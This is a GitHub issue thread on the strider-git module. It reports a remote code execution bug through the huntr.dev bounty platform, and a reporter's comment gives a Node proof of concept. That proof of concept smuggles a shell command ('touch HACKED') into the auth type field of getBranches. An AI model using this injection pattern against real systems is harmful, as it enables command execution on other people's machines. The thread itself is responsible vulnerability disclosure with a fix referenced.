Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Notice & Bug Bounty - Remote Code Execution - huntr.dev #38

Closed
huntr-helper opened this issue Jun 19, 2020 · 4 comments
Closed

Comments

@huntr-helper
Copy link
Contributor

This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Overview

strider-git allows strider to use any git repository for a project.

he issue occurs because a user input is formatted inside a command that will be executed without any check.

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

@knownasilya
Copy link
Member

@Mik317 would love to learn more about the issue

@knownasilya
Copy link
Member

@Mik317
Copy link

Mik317 commented Jun 19, 2020

Hi @knownasilya :).
I reported the issue originally to the NPM team through their HackerOne program, however I opted to disclose it also through the Huntrs platform in order to make sure the issue would have been addressed quickly ;).

Here are the steps to reproduce the issue:

Steps To Reproduce:

  1. Create the following PoC file:
// poc.js
var git = require("strider-git/lib");
git.getBranches({auth:{type:'ssaas;touch HACKED; ', privkey:'sss'}, url:'http://sss'}, '', function(){})
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i strider-git # Install affected module
git init # Initialize as *git* dir
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created :)

Regards,
Mik

@huntr-helper
Copy link
Contributor Author

‎‍🛠️ A fix has been provided for this issue. Please reference: 418sec#1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants